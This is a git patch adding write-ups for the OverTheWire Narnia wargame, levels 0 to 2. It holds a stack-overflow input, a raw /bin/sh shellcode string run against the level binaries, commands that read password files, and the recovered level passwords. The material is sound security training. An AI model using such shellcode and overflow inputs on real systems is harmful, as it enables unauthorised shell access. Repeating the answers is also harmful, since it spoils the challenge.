From 35435ca4b1d09ea4d0e6276d0ff21b95193b4903 Mon Sep 17 00:00:00 2001 From: a14m Date: Wed, 23 Jun 2021 00:03:54 +0200 Subject: [PATCH] Add solutions (with online help) for narnia --- Narnia.md | 29 +++++++++++++++++++++++++++++ README.md | 1 + 2 files changed, 30 insertions(+) create mode 100644 Narnia.md diff --git a/Narnia.md b/Narnia.md new file mode 100644 index 0000000..2313787 --- /dev/null +++ b/Narnia.md @@ -0,0 +1,29 @@ +# [Narnia](https://overthewire.org/wargames/narnia/) + +## Level 0 +```bash +ssh narnia0@narnia.labs.overthewire.org -p 2226 +cd /narnia +(echo -ne "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"; cat) | ./narnia0 +whoami +#> narnia1 +cat /etc/narnia_pass/narnia1 +#> efeidiedae +``` +narnia1 : efeidiedae + +## Level 1 +Using [bin/sh shellcode](https://www.exploit-db.com/exploits/49976) or any other +[shellcode](https://www.exploit-db.com/search?q=%2Fbin%2Fsh+Shellcode) + +```bash +ssh narnia1@narnia.labs.overthewire.org -p 2226 +cd /narnia +EGG=`echo -ne "\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"` ./narnia1 +cat /etc/narnia_pass/narnia2 +#> nairiepecu +``` +narnia2 : nairiepecu + +## Level 2 +Based on the https://www.exploit-db.com/exploits/33698 diff --git a/README.md b/README.md index 4c56da3..cd307f0 100644 --- a/README.md +++ b/README.md @@ -6,3 +6,4 @@ Solutions to OverTheWire (OTW) wargames - [leviathan](./Leviathan.md) - [krypton](./Krypton.md) - [natas](./Natas.md) +- [narnia](./Narnia.md) -- 2.45.2